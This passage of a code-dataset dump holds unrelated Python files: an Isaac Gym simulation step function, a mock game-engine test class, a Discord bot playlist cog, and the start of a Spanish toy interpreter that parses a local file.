product['price'])\nplt.show()","repo_name":"lehoangna/Graphic_cards","sub_path":"price_vs_rating.py","file_name":"price_vs_rating.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"35850576242","text":"import os\nimport torch\nfrom .get_observation import _refresh_observation\nfrom isaacgym import gymapi\nimport json\n\ndef step(task, actions) :\n task._perform_actions(actions)\n \n task.env.gym.simulate(task.env.sim)\n task.env.gym.fetch_results(task.env.sim, True)\n \n if not task.env.headless :\n task.env.render()\n if task.env.cfg[\"env\"][\"enableCameraSensors\"] == True:\n task.env.gym.step_graphics(task.env.sim)\n\n task._refresh_observation()\n\n reward, done ,dist_tip = task._get_reward_done()\n\n done = task.reset_buf.clone()\n success = task.success.clone()\n \n task.extras[\"successes\"] = success\n task.extras[\"success_rate\"] = task.success_rate\n task.extras[\"success_entropy\"] = task.success_entropy\n task._partial_reset(task.reset_buf)\n\n if task.average_reward == None:\n task.average_reward = task.rew_buf.mean()\n else :\n task.average_reward = task.rew_buf.mean() * 0.01 + task.average_reward * 0.99\n task.progress_buf += torch.tensor([1], device = task.env.device)\n \n if task.env.cfg[\"save_video\"]:\n cam_pos = gymapi.Vec3(1.7,0,2.7)\n cam_target = gymapi.Vec3(-2.0,0., -0.5)\n task.env.gym.viewer_camera_look_at(task.env.viewer, None, cam_pos, cam_target)\n folder_path = task.env.save_video_dir + \"/tmp/\"\n os.makedirs(folder_path, exist_ok=True)\n #file_name = \"{}_{}.png\".format(task.current_eval_round, task.current_step_num)\n file_name = \"{}_{}.png\".format(task.__class__.__name__, str(task.current_step_num).zfill(5))\n status = task.env.gym.write_viewer_image_to_file(task.env.viewer, os.path.join(folder_path, file_name))\n\n return task.obs_buf, task.rew_buf, done, None\n","repo_name":"pushkalkatara/Gen2Sim","sub_path":"gym/envs/utils/step.py","file_name":"step.py","file_ext":"py","file_size_in_byte":1717,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"78"} +{"seq_id":"37760903948","text":"from Game_Scene.Test.Mock_Classes.Ai_component_mock import AiComponentSystemMock, AiComponentMock, AiSceneManager\nfrom Game_Scene.Test.Mock_Classes.Behavior_mock import BehaviorComponentSystemMock, BehaviorFSMMock, BehaviorSceneManager\nfrom Entity_manager import EntitySystem, EntitySceneManager\nfrom Game_Scene.Test.Mock_Classes.Physics_mock import ParticleComponentSystemMock, ParticleMock, PhysicsSceneManager\nfrom Scene_Node.Sprite_node import SpriteNode\nfrom Game_Scene.Scene_Manager.Scene_camera import CameraManager\n#Sprite States\nfrom Sprite_state_active import SpriteStateActive\nfrom Sprite_state_inv import SpriteStateActiveInvisible\nfrom Sprite_state_AA import SpriteStateAlwaysActive\nfrom Sprite_state_AA_inv import SpriteStateAlwaysActiveInvisible\nfrom Sprite_state_ether import SpriteStateEthereal\nfrom Sprite_state_inv_ether import SpriteStateInvisibleEthereal\nfrom Sprite_state_AA_ether import SpriteStateAlwaysActiveEthereal\nfrom Sprite_state_AA_inv_ether import SpriteStateAlwaysActiveInvisibleEthereal\nfrom Sprite_state_deactivated import SpriteStateDeactivated, \\\n SpriteStateInvisibleDeactivated, SpriteStateAlwaysActiveDeactivated, SpriteStateAlwaysActiveInvisibleDeactivated, \\\n SpriteStateEtherealDeactivated, SpriteStateInvisibleEtherealDeactivated, \\\n SpriteStateAlwaysActiveEtherealDeactivated, SpriteStateAlwaysActiveInvisibleEtherealDeactivated\nimport Sprite_state\nfrom Game_Scene.Scene_Manager.Scene_manager import SceneManager\nfrom Game_Scene.Scene_Manager.Scene import Scene\n\nclass GameEngineMock:\n #the resource_id is the index\n #The image coordinates define the coarse bounding box\n SRITE_DATA_MOCK = [{'state_images': {1: None, 2: None, 3: None}, #sprite resource id 0\n # Set of frames mapped to a behavior id\n 'imagecoordinateslists': {1: [[0,0,12,12], [12,0,25,8], [27,0,11,21]],\n 2: [[0,3,5,6], [5,4,5,4], [10,5,4,9]],\n 3: [[3,4,62,8], [65,12,12,55], [77,67,93,106]]}},\n {'state_images': {1: None, 2: None, 3: None}, #sprite resource id 1\n 'imagecoordinateslists': {1: [[0,0,3,3], [3,0,3,3], [6,0,3,3]],\n 2: [[0,0,3,3], [3,0,3,3], [6,0,3,3]],\n 3: [[0,0,3,3], [3,0,3,3], [6,0,3,3]]}},\n {'state_images': {1: None, 2: None, 3: None}, #sprite resource id 2\n 'imagecoordinateslists': {1: [[0,0,3,3], [3,0,3,3], [6,0,3,3]],\n 2: [[0,0,3,3], [3,0,3,3], [6,0,3,3]],\n 3: [[0,0,3,3], [3,0,3,3], [6,0,3,3]]}}]\n\n def __init__(self):\n #Testing lists - tracking expected IDs\n self._scene_ids = None #The _scene_ids and _active_scene_ids were created for testing...\n self._active_scene_ids = None #...but they may ultimately be needed anyways\n self._testing_layer_ids = None #dict ({scene_id : list(layer_ids))\n #This list is maintainted externally by the Game_engine_testing_system\n #Store the lists by scene_id, so that they can be cleared at once when a scene is removed\n #This is only used for testing not the actual engine functionality\n self.testing_system_entity_ids = None #{scene_id : entity_ids}\n #use this to pass in the set of booleans releated to sprite state and get the corresponding state\n self.sprite_state_map = dict() #{[active, ethereal, always_active, visible] : SpriteState}\n\n self._camera_manager = None\n self._scene_manager = None\n self._physics_scene_manager = None\n self._behavior_scene_manager = None\n self._ai_scene_manager = None\n self._entity_scene_manager = None\n\n self._initializeSpriteStates()\n self._initializeSystems()\n\n #For testing system use - returns the scene ID that an entity id belongs to\n def getEntitySceneId(self, entity_id):\n for scene_id, entity_ids in self.testing_system_entity_ids.items():\n if entity_id in entity_ids:\n return scene_id\n return 0 # failed to find the entity_id\n\n #For testing system use, return all current scene_ids\n def getSceneIds(self):\n return self._scene_ids\n\n # For testing system use\n def getActiveSceneIds(self):\n return self._scene_manager.getActiveSceneIds()\n\n # For testing system use\n def getInactiveSceneIds(self):\n return self._scene_manager.getInactiveSceneIds()\n\n #For testing\n def getCameraIds(self):\n return self._camera_manager.getCameraIds()\n\n #For testing system use, return all current layer_ids of passed in types\n #if types is an empty list, then return all layer ids\n def getLayerIds(self, scene_id, layer_types = tuple()):\n return self._scene_manager.getLayerIds(scene_id, layer_types)\n\n # testing function\n def addTestingEntityId(self, scene_id, entity_id):\n try:\n self.testing_system_entity_ids[scene_id].append(entity_id)\n except:\n print(\"Non existing scene_id\",scene_id)\n\n #testing function - find the list that holds the entity_id and remove that entity_id\n def removeTestingEntityId(self, entity_id):\n try:\n for scene_id, entity_list in self.testing_system_entity_ids.items():\n if entity_id in entity_list:\n entity_list.remove(entity_id)\n return\n except:\n print(\"Failed to remove entity_id\",entity_id)\n\n #testing function - returns a flat list of all the available entity_ids\n def getAllTestingEntityIds(self):\n all_entity_ids = list()\n for entity_list in self.testing_system_entity_ids.values():\n for entity_id in entity_list:\n all_entity_ids.append(entity_id)\n return all_entity_ids\n\n #testing function - returns a flat dict of entity_id: sprite\n def getAllSprites(self):\n return self._scene_manager.getAllSprites()\n\n #testing function\n def getSceneWorldSize(self, scene_id):\n return self._scene_manager._scenes[scene_id].world_size\n\n #Removes all entities and creates a new grid\n #uses last updated PARAMS, which are locked in until the next initialization\n def resetEngine(self):\n self._initializeSystems()\n\n #The sprite states are static, only one copy needed as the states themselves do not store any state data\n def _initializeSpriteStates(self):\n #active\n Sprite_state.SPRITE_STATE_ACTIVE = SpriteStateActive()\n Sprite_state.SPRITE_STATE_ACTIVE_INVISIBLE = SpriteStateActiveInvisible()\n Sprite_state.SPRITE_STATE_ALWAYS_ACTIVE = SpriteStateAlwaysActive()\n Sprite_state.SPRITE_STATE_ALWAYS_ACTIVE_INVISIBLE = SpriteStateAlwaysActiveInvisible()\n #active ethereal\n Sprite_state.SPRITE_STATE_ACTIVE_ETHEREAL = SpriteStateEthereal()\n Sprite_state.SPRITE_STATE_ACTIVE_INVISIBLE_ETHEREAL = SpriteStateInvisibleEthereal()\n Sprite_state.SPRITE_STATE_ALWAYS_ACTIVE_ETHEREAL = SpriteStateAlwaysActiveEthereal()\n Sprite_state.SPRITE_STATE_ALWAYS_ACTIVE_INVISIBLE_ETHEREAL = SpriteStateAlwaysActiveInvisibleEthereal()\n #deactivated\n Sprite_state.SPRITE_STATE_DEACTIVATED = SpriteStateDeactivated()\n Sprite_state.SPRITE_STATE_INVISIBLE_DEACTIVATED = SpriteStateInvisibleDeactivated()\n Sprite_state.SPRITE_STATE_ALWAYS_ACTIVE_DEACTIVATED = SpriteStateAlwaysActiveDeactivated()\n Sprite_state.SPRITE_STATE_ALWAYS_ACTIVE_INVISIBLE_DEACTIVATED = SpriteStateAlwaysActiveInvisibleDeactivated()\n #deactivated ethereal\n Sprite_state.SPRITE_STATE_ETHEREAL_DEACTIVATED = SpriteStateEtherealDeactivated()\n Sprite_state.SPRITE_STATE_INVISIBLE_ETHEREAL_DEACTIVATED = SpriteStateInvisibleEtherealDeactivated()\n Sprite_state.SPRITE_STATE_ALWAYS_ACTIVE_ETHEREAL_DEACTIVATED = SpriteStateAlwaysActiveEtherealDeactivated()\n Sprite_state.SPRITE_STATE_ALWAYS_ACTIVE_INVISIBLE_ETHEREAL_DEACTIVATED = \\\n SpriteStateAlwaysActiveInvisibleEtherealDeactivated()\n #When a sprite is deactivated, the current state changes to it's deactivated version, stored in the state\n Sprite_state.SPRITE_STATE_ACTIVE.deactivated_sprite_state = \\\n Sprite_state.SPRITE_STATE_DEACTIVATED\n Sprite_state.SPRITE_STATE_ACTIVE_INVISIBLE.deactivated_sprite_state = \\\n Sprite_state.SPRITE_STATE_INVISIBLE_DEACTIVATED\n Sprite_state.SPRITE_STATE_ALWAYS_ACTIVE.deactivated_sprite_state = \\\n Sprite_state.SPRITE_STATE_ALWAYS_ACTIVE_DEACTIVATED\n Sprite_state.SPRITE_STATE_ALWAYS_ACTIVE_INVISIBLE.deactivated_sprite_state = \\\n Sprite_state.SPRITE_STATE_ALWAYS_ACTIVE_INVISIBLE_DEACTIVATED\n #ethereal\n Sprite_state.SPRITE_STATE_ACTIVE_ETHEREAL.deactivated_sprite_state = \\\n Sprite_state.SPRITE_STATE_ETHEREAL_DEACTIVATED\n Sprite_state.SPRITE_STATE_ACTIVE_INVISIBLE_ETHEREAL.deactivated_sprite_state = \\\n Sprite_state.SPRITE_STATE_INVISIBLE_ETHEREAL_DEACTIVATED\n Sprite_state.SPRITE_STATE_ALWAYS_ACTIVE_ETHEREAL.deactivated_sprite_state = \\\n Sprite_state.SPRITE_STATE_ALWAYS_ACTIVE_ETHEREAL_DEACTIVATED\n Sprite_state.SPRITE_STATE_ALWAYS_ACTIVE_INVISIBLE_ETHEREAL.deactivated_sprite_state = \\\n Sprite_state.SPRITE_STATE_ALWAYS_ACTIVE_INVISIBLE_ETHEREAL_DEACTIVATED\n\n self.sprite_state_map = dict() #{[active, ethereal, always_active, visible] : SpriteState}\n self.sprite_state_map[True, True, True, True] = Sprite_state.SPRITE_STATE_ALWAYS_ACTIVE_ETHEREAL\n self.sprite_state_map[True, True, True, False] = Sprite_state.SPRITE_STATE_ALWAYS_ACTIVE_INVISIBLE_ETHEREAL\n self.sprite_state_map[True, True, False, True] = Sprite_state.SPRITE_STATE_ACTIVE_ETHEREAL\n self.sprite_state_map[True, True, False, False] = Sprite_state.SPRITE_STATE_ACTIVE_INVISIBLE_ETHEREAL\n\n self.sprite_state_map[True, False, True, True] = Sprite_state.SPRITE_STATE_ALWAYS_ACTIVE\n self.sprite_state_map[True, False, True, False] = Sprite_state.SPRITE_STATE_ALWAYS_ACTIVE_INVISIBLE\n self.sprite_state_map[True, False, False, True] = Sprite_state.SPRITE_STATE_ACTIVE\n self.sprite_state_map[True, False, False, False] = Sprite_state.SPRITE_STATE_ACTIVE_INVISIBLE\n\n self.sprite_state_map[False, True, True, True] = Sprite_state.SPRITE_STATE_ALWAYS_ACTIVE_ETHEREAL_DEACTIVATED\n self.sprite_state_map[False, True, True, False] = Sprite_state.SPRITE_STATE_ALWAYS_ACTIVE_INVISIBLE_ETHEREAL_DEACTIVATED\n self.sprite_state_map[False, True, False, True] = Sprite_state.SPRITE_STATE_ETHEREAL_DEACTIVATED\n self.sprite_state_map[False, True, False, False] = Sprite_state.SPRITE_STATE_INVISIBLE_ETHEREAL_DEACTIVATED\n\n self.sprite_state_map[False, False, True, True] = Sprite_state.SPRITE_STATE_ALWAYS_ACTIVE_DEACTIVATED\n self.sprite_state_map[False, False, True, False] = Sprite_state.SPRITE_STATE_ALWAYS_ACTIVE_INVISIBLE_DEACTIVATED\n self.sprite_state_map[False, False, False, True] = Sprite_state.SPRITE_STATE_DEACTIVATED\n self.sprite_state_map[False, False, False, False] = Sprite_state.SPRITE_STATE_INVISIBLE_DEACTIVATED\n\n def _initializeSystems(self):\n self._scene_ids = list()\n self._active_scene_ids = list()\n self._testing_layer_ids = dict()\n self.testing_system_entity_ids = dict()\n\n self._camera_manager = CameraManager()\n self._scene_manager = SceneManager()\n self._entity_scene_manager = EntitySceneManager()\n self._physics_scene_manager = PhysicsSceneManager()\n self._behavior_scene_manager = BehaviorSceneManager()\n self._ai_scene_manager = AiSceneManager()\n\n #Adds a new scene (does not activate it)\n def createScene(self,\n world_size,\n cell_size,\n tile_size):\n new_scene_id = self._scene_manager.generateSceneId()\n sprite_scene = Scene(new_scene_id,\n world_size,\n cell_size,\n tile_size)\n particle_component_system = ParticleComponentSystemMock(world_size)\n behavior_component_system = BehaviorComponentSystemMock()\n ai_component_system = AiComponentSystemMock()\n entity_manager = EntitySystem(particle_component_system,\n behavior_component_system,\n ai_component_system,\n sprite_scene)\n ai_component_system.setEntityManager(entity_manager)\n behavior_component_system.setEntityManager(entity_manager)\n particle_component_system.setEntityManager(entity_manager)\n sprite_scene.setMasterGridNotify(entity_manager.notifySpriteOnScreen,\n entity_manager.notifySpriteOffScreen)\n self.testing_system_entity_ids[new_scene_id] = list()\n self._scene_manager.addScene(new_scene_id, sprite_scene)\n self._entity_scene_manager.addEntityManager(new_scene_id, entity_manager)\n self._physics_scene_manager.addParticleComponentSystem(new_scene_id, particle_component_system)\n self._behavior_scene_manager.addBehaviorComponentSystem(new_scene_id, behavior_component_system)\n self._ai_scene_manager.addAiComponentSystem(new_scene_id, ai_component_system)\n self._scene_ids.append(new_scene_id)\n self._testing_layer_ids[new_scene_id] = list()\n\n return new_scene_id\n\n def activateScene(self, scene_id):\n if scene_id not in self._active_scene_ids:\n self._active_scene_ids.append(scene_id)\n self._scene_manager.activateScene(scene_id)\n self._physics_scene_manager.activateParticleComponentSystem(scene_id)\n self._behavior_scene_manager.activateBehaviorComponentSystem(scene_id)\n self._ai_scene_manager.activateAiComponentSystem(scene_id)\n self._entity_scene_manager.activateEntityManager(scene_id)\n\n def deactivateScene(self, scene_id):\n try:\n self._active_scene_ids.remove(scene_id)\n except:\n pass\n self._scene_manager.deactivateScene(scene_id)\n self._physics_scene_manager.deactivateParticleComponentSystem(scene_id)\n self._behavior_scene_manager.deactivateBehaviorComponentSystem(scene_id)\n self._ai_scene_manager.deactivateAiComponentSystem(scene_id)\n self._entity_scene_manager.deactivateEntityManager(scene_id)\n\n def removeScene(self, scene_id):\n if scene_id in self._active_scene_ids:\n print(\"Tried to remove an activated scene, which I've decided is illegal: \", scene_id)\n assert False\n try:\n self._scene_ids.remove(scene_id)\n except:\n pass\n try:\n #all of these entity ids are now removed\n del(self.testing_system_entity_ids[scene_id])\n except:\n pass\n try:\n del(self._testing_layer_ids[scene_id])\n except:\n pass\n #Need to tell the entity manager what entities and scene are removed\n entity_ids = self._scene_manager.removeScene(scene_id)\n self._physics_scene_manager.removeParticleComponentSystem(scene_id)\n self._behavior_scene_manager.removeBehaviorComponentSystem(scene_id)\n self._ai_scene_manager.removeAiComponentSystem(scene_id)\n self._entity_scene_manager.removeEntityManager(scene_id, entity_ids)\n #Any cameras attached to the scene are detached, but not removed\n self._camera_manager.sceneRemovedFromCamera(scene_id)\n\n #returns the id for the created camera\n def createCamera(self,\n window_size,\n activate_range,\n deactivate_range):\n return self._camera_manager.createCamera(window_size,\n activate_range,\n deactivate_range)\n\n def removeCamera(self, camera_id):\n self._camera_manager.removeCamera(camera_id)\n\n def attachCamera(self, scene_id, camera_id, position):\n camera = self._camera_manager.getCamera(camera_id)\n self._scene_manager.attachCamera(scene_id, camera_id, camera, position)\n\n def detachCamera(self, camera_id):\n self._camera_manager.detachCamera(camera_id)\n\n def getCameraWindowSize(self, camera_id):\n return self._camera_manager.getCameraWindowSize(camera_id)\n\n def setCameraWindowSize(self, camera_id, window_size):\n self._camera_manager.setWindowSize(camera_id, window_size)\n\n def createSceneLayer(self, scene_id, layer_id, layer_type = 1):\n self._scene_manager.createSceneLayer(scene_id, layer_id, layer_type)\n self._testing_layer_ids[scene_id].append(layer_id)\n\n def removeSceneLayer(self, scene_id, layer_id):\n remove_ids = self._scene_manager.getEntityIdsFromLayer(scene_id, layer_id)\n for entity_id in remove_ids:\n self.removeNode(entity_id)\n self._scene_manager.removeSceneLayer(scene_id, layer_id)\n self._testing_layer_ids[scene_id].remove(layer_id)\n\n def spawnEntity(self,\n scene_id,\n layer_id,\n position,\n resource_id_mock, #resource_id_mock is a key to a simple dict that holds some meta data\n active = True,\n physics_active = True,\n behavior_active = True,\n ai_active = True,\n visible = True,\n ethereal = False,\n always_active = False):\n world_size = self._scene_manager._scenes[scene_id].world_size\n resource_data = GameEngineMock.SRITE_DATA_MOCK[resource_id_mock]\n entity_id = self._entity_scene_manager.generateEntityId()\n particle = ParticleMock(entity_id, [position[0],position[1], position[2]], world_size) #make sure not to send unintended ref\n behaviorFsm = BehaviorFSMMock(entity_id)\n aiComponent = AiComponentMock(entity_id)\n current_sprite_state = self.sprite_state_map[active, ethereal, always_active, visible]\n sprite = SpriteNode(entity_id,\n particle,\n behaviorFsm,\n resource_data['state_images'],\n resource_data['imagecoordinateslists'],\n current_sprite_state)\n #Need to initially add the components to the active or inactive lists, depending on initial state\n self._addParticle(scene_id, entity_id, particle, (physics_active|always_active))\n self._addBehaviorFSM(scene_id, entity_id, behaviorFsm, (behavior_active|always_active))\n self._addAiComponent(scene_id, entity_id, aiComponent, (ai_active|always_active))\n #Entity manager just accepts the initial state\n self._entity_scene_manager.addEntityStatus(scene_id = scene_id,\n layer_id = layer_id,\n entity_id=entity_id,\n active = active,\n always_active = always_active,\n sprite_visible = visible,\n sprite_ethereal = ethereal,\n physics_active = (physics_active|always_active),\n behavior_active = (behavior_active|always_active),\n ai_active = (ai_active|always_active))\n #We set the status as desired and then add the sprite - sprite will send updates to EM as needed\n #Will assume 'onscreen' to start. If sprite is offscreen, send the update to the EM upon insert.\n self._addNode(scene_id, layer_id, entity_id, sprite)\n\n return entity_id\n\n def _addParticle(self, scene_id, entity_id, particle, active = True):\n self._physics_scene_manager.addParticle(scene_id, entity_id, particle, active)\n\n def _addBehaviorFSM(self, scene_id, entity_id, behaviorFSM, active = True):\n self._behavior_scene_manager.addBehaviorFSM(scene_id, entity_id, behaviorFSM, active)\n\n def _addAiComponent(self, scene_id, entity_id, aiComponent, active = True):\n self._ai_scene_manager.addAiComponent(scene_id, entity_id, aiComponent, active)\n\n def _addNode(self, scene_id, layer_id, entity_id, sprite):\n self._scene_manager.addNode(scene_id, layer_id, entity_id, sprite)\n\n def activateEntity(self, entity_id):\n scene_id = self._entity_scene_manager.getEntitySceneLayer(entity_id)[0]\n self._entity_scene_manager.activateEntity(entity_id, scene_id)\n\n def deactivateEntity(self, entity_id):\n scene_id = self._entity_scene_manager.getEntitySceneLayer(entity_id)[0]\n self._entity_scene_manager.deactivateEntity(entity_id, scene_id)\n\n def setEntityAlwaysActive(self, entity_id):\n scene_id = self._entity_scene_manager.getEntitySceneLayer(entity_id)[0]\n self._entity_scene_manager.setEntityAlwaysActive(entity_id, scene_id)\n\n def setEntitySpriteVisible(self, entity_id):\n scene_id = self._entity_scene_manager.getEntitySceneLayer(entity_id)[0]\n self._entity_scene_manager.setEntitySpriteVisible(entity_id, scene_id)\n\n def setSpriteInvisible(self, entity_id):\n scene_id = self._entity_scene_manager.getEntitySceneLayer(entity_id)[0]\n self._entity_scene_manager.setSpriteInvisible(entity_id, scene_id)\n\n def setSpriteEthereal(self, entity_id):\n scene_id = self._entity_scene_manager.getEntitySceneLayer(entity_id)[0]\n self._entity_scene_manager.setSpriteEthereal(entity_id, scene_id)\n\n def setSpriteTangible(self, entity_id):\n scene_id = self._entity_scene_manager.getEntitySceneLayer(entity_id)[0]\n self._entity_scene_manager.setSpriteTangible(entity_id, scene_id)\n\n def activateEntityPhysics(self, entity_id):\n scene_id = self._entity_scene_manager.getEntitySceneLayer(entity_id)[0]\n self._entity_scene_manager.activateEntityPhysics(entity_id, scene_id)\n\n def activateEntityBehavior(self, entity_id):\n scene_id = self._entity_scene_manager.getEntitySceneLayer(entity_id)[0]\n self._entity_scene_manager.activateEntityBehavior(entity_id, scene_id)\n\n def activateEntityAi(self, entity_id):\n scene_id = self._entity_scene_manager.getEntitySceneLayer(entity_id)[0]\n self._entity_scene_manager.activateEntityAi(entity_id, scene_id)\n\n def removeEntityAlwaysActive(self, entity_id):\n scene_id = self._entity_scene_manager.getEntitySceneLayer(entity_id)[0]\n self._entity_scene_manager.removeEntityAlwaysActive(entity_id, scene_id)\n\n def deactivateEntityPhysics(self, entity_id):\n scene_id = self._entity_scene_manager.getEntitySceneLayer(entity_id)[0]\n self._entity_scene_manager.deactivateEntityPhysics(entity_id, scene_id)\n\n def deactivateEntityBehavior(self, entity_id):\n scene_id = self._entity_scene_manager.getEntitySceneLayer(entity_id)[0]\n self._entity_scene_manager.deactivateEntityBehavior(entity_id, scene_id)\n\n def deactivateEntityAI(self, entity_id):\n scene_id = self._entity_scene_manager.getEntitySceneLayer(entity_id)[0]\n self._entity_scene_manager.deactivateEntityAI(entity_id, scene_id)\n\n def addEntityDependancy(self, entity_id, dependant_entity_id):\n scene_id = self._entity_scene_manager.getEntitySceneLayer(entity_id)[0]\n self._entity_scene_manager.addEntityDependancy(entity_id, dependant_entity_id, scene_id)\n\n def removeEntityDependancy(self, entity_id, dependant_entity_id):\n scene_id = self._entity_scene_manager.getEntitySceneLayer(entity_id)[0]\n self._entity_scene_manager.removeEntityDependancy(entity_id, dependant_entity_id, scene_id)\n\n #should be \"remove entity\" - should the EM be handing this completely? Solve that later...\n def removeNode(self, entity_id):\n scene_id = self._entity_scene_manager.getEntitySceneLayer(entity_id)[0]\n self._scene_manager.removeNode(entity_id, scene_id)\n self._physics_scene_manager.removeParticle(entity_id, scene_id)\n self._behavior_scene_manager.removeBehaviorFSM(entity_id, scene_id)\n self._ai_scene_manager.removeAiComponent(entity_id, scene_id)\n self._entity_scene_manager.removeEntity(entity_id, scene_id)\n self.removeTestingEntityId(entity_id)\n\n def panSprite(self, entity_id, pan):\n scene_id = self._entity_scene_manager.getEntitySceneLayer(entity_id)[0]\n self._physics_scene_manager.panParticle(entity_id, [pan[0], pan[1],pan[2]], scene_id) #make sure not to send unintended ref\n\n def moveSprite(self, entity_id, move):\n scene_id = self._entity_scene_manager.getEntitySceneLayer(entity_id)[0]\n self._physics_scene_manager.moveParticle(entity_id, [move[0], move[1],move[2]], scene_id) #make sure not to send unintended ref\n\n def flipAnimation(self, entity_id):\n scene_id = self._entity_scene_manager.getEntitySceneLayer(entity_id)[0]\n self._behavior_scene_manager.flipAnimation(entity_id, scene_id)\n\n def setBehaviorState(self, entity_id, behavior_state_id):\n scene_id = self._entity_scene_manager.getEntitySceneLayer(entity_id)[0]\n self._behavior_scene_manager.setBehaviorState(entity_id, behavior_state_id, scene_id)\n\n def panCamera(self, camera_id, pan):\n self._camera_manager.panCamera(camera_id, pan)\n\n def moveCamera(self, camera_id, move):\n self._camera_manager.moveCamera(camera_id, move)\n\n #active_entity_ids is just a list of ints, entity_ids expected to be present\n def update(self):\n try:\n self._physics_scene_manager.update()\n self._behavior_scene_manager.update()\n self._ai_scene_manager.update()\n self._scene_manager.update()\n except Exception as e:\n print(\"Exception caught during main update loop in Game_engine_mock: \", e)\n assert False #Throw an exception to whoever wants it, things are going badly if we are here","repo_name":"Firouzi/DeprecatedPyGameFramework","sub_path":"PyGameFramework/src/Game_Scene/Test/Mock_Classes/Game_engine_mock.py","file_name":"Game_engine_mock.py","file_ext":"py","file_size_in_byte":26553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"32497340664","text":"import logging\n\nfrom bot.bot import command\nfrom bot.globals import ADD_AUTOPLAYLIST, DELETE_AUTOPLAYLIST, AUTOPLAYLIST\nfrom bot.globals import Auth\nfrom cogs.cog import Cog\nfrom utils.utilities import read_lines, empty_file, write_playlist, test_url\n\nterminal = logging.getLogger('terminal')\n\n\nclass BotMod(Cog):\n def __init__(self, bot):\n super().__init__(bot)\n\n @command(auth=Auth.BOT_MOD)\n async def add_all(self, ctx):\n \"\"\"Add the pending songs to autoplaylist\"\"\"\n songs = set(read_lines(ADD_AUTOPLAYLIST))\n\n invalid = []\n for song in list(songs):\n if not test_url(song):\n songs.remove(song)\n invalid.append(song)\n\n if invalid:\n await ctx.send('Invalid url(s):\\n%s' % ', '.join(invalid), delete_after=40)\n\n write_playlist(AUTOPLAYLIST, songs, mode='a')\n empty_file(ADD_AUTOPLAYLIST)\n\n amount = len(songs)\n await ctx.send('Added %s song(s) to autoplaylist' % amount)\n\n @command(auth=Auth.BOT_MOD)\n async def delete_all(self, ctx):\n \"\"\"Delete pending songs from autoplaylist\"\"\"\n delete_songs = set(read_lines(DELETE_AUTOPLAYLIST))\n\n _songs = read_lines(AUTOPLAYLIST)\n songs = set(_songs)\n duplicates = len(_songs) - len(songs)\n\n failed = 0\n succeeded = 0\n for song in delete_songs:\n try:\n songs.remove(song)\n succeeded += 1\n except KeyError:\n failed += 1\n\n write_playlist(AUTOPLAYLIST, songs)\n\n empty_file(DELETE_AUTOPLAYLIST)\n\n await ctx.send('Successfully deleted {0} songs, {1} duplicates and failed {2}'.format(succeeded, duplicates, failed))\n\n\ndef setup(bot):\n bot.add_cog(BotMod(bot))\n","repo_name":"s0hv/Not-a-bot","sub_path":"cogs/botmod.py","file_name":"botmod.py","file_ext":"py","file_size_in_byte":1778,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"78"} +{"seq_id":"22453932319","text":"variables = [\"a\",\"e\",\"i\",\"o\",\"u\"]\nayuda_registro = {variables[0]:None,variables[1]:None,variables[2]:None,variables[3]:None,variables[4]:None}\nayuda_registro2 = {variables[0]:None,variables[1]:None,variables[2]:None,variables[3]:None,variables[4]:None}\n#ayuda_registro[variables[0]]=1\n#print(ayuda_registro)\npalabras_clave = [\"Inicio\",\"Fin\",\"Entero\",\"Cadena\",\"Mostrar\"]\noperadores = [\"+\",\"-\",\"*\",\"/\",\"=\"]\nnumero = [\"0\",\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\"]\n\ndef separador_string(cadena):\n\tseparador = \"\"\n\tlongitud = len(cadena)\n\tfor i in range(longitud):\n\t\tseparador += \",\"+entrada[i]\n\tseparador = separador.split(\",\")[1:]\n\treturn separador\n\ndef esentero(entrada):\n\tb = {}\n\tentrada = str(entrada)\n\tlongitud = len(entrada)\n\tfor i in range(longitud):\n\t\ta = entrada[i] in numero\n\t\tif a == True:\n\t\t\tb[i] = \"Es entero\"\n\t\telse:\n\t\t\tb[i] = \"No es entero\"\n\tlista = list(b.values())\n\t#print(lista)\n\tc = \"No es entero\" in lista\n\tc = not c\n\treturn c\n\narchivo=open('/home/marlonp/python/ejemplo.txt','r')\narchivo_array=archivo.readlines()\n#print(archivo_array)\nlongitud_filas_archivo = len(archivo_array)\n#print(longitud_filas_archivo)\n#print(archivo_array[1][:-1])\ncont = 0\nfor i in range(longitud_filas_archivo):\n\tif archivo_array[i]==\"\\n\":\n\t\tcont = cont + 1\n#print(cont)\narchivo_array = archivo_array[cont:]\narray_corregido = \"\"\nfor i in range(len(archivo_array)):\n\tarray_corregido += \",\"+archivo_array[i][:-1]\narray_corregido = array_corregido.split(\",\")[1:]\narchivo_array = array_corregido\n#print(archivo_array)\n#print(archivo_array[0])\nif archivo_array[0] == palabras_clave[0]:\n\t#print(archivo_array[0])\n\ta = palabras_clave[1] in archivo_array\n\tif a == True:\n\t\t#print(archivo_array[0])\n\t\tencontrar_fin = archivo_array.index(palabras_clave[1])\n\t\tarchivo = \"\"\n\t\tfor i in range(1,encontrar_fin):\n\t\t\tarchivo += \",\" + archivo_array[i][1:]\n\t\tarchivo = archivo.split(\",\")[1:]\n\t\t#print(archivo)\n\t\tarchivo2 = {}\n\t\tfor i in range(len(archivo)):\n\t\t\tarchivo2[i] = archivo[i].split(\" \")\n\t\t\t#print(archivo2[i])\n\t\t#print(archivo2[0][0])\n\t\t#print(len(archivo2))\n\t\t#print(archivo2)\n\t\tfor i in range(len(archivo2)):\n\t\t\tz = int(cont)+1+int(i)+1\n#palabras_clave = [\"Inicio\",\"Fin\",\"Entero\",\"Cadena\",\"Mostrar\"] \n\t\t\tif archivo2[i][0]==palabras_clave[2] or archivo2[i][0]==palabras_clave[3]:\n\t\t\t\tencontrar_variable = archivo2[i][1] in variables\n\t\t\t\t#z = int(cont)+1+int(i)+1\n\t\t\t\tif encontrar_variable != True:\n\t\t\t\t\tprint(\"Error: la variable <\",archivo2[i][1],\"> no existe dentro de la gramatica\\tError: en la fila\",z)\n\t\t\t\telse:\n\t\t\t\t\tif archivo2[i][2] == operadores[4]:\n\t\t\t\t\t\tif archivo2[i][0] == palabras_clave[2]:\n\t\t\t\t\t\t\tent = esentero(archivo2[i][3])\n\t\t\t\t\t\t\tif ent == 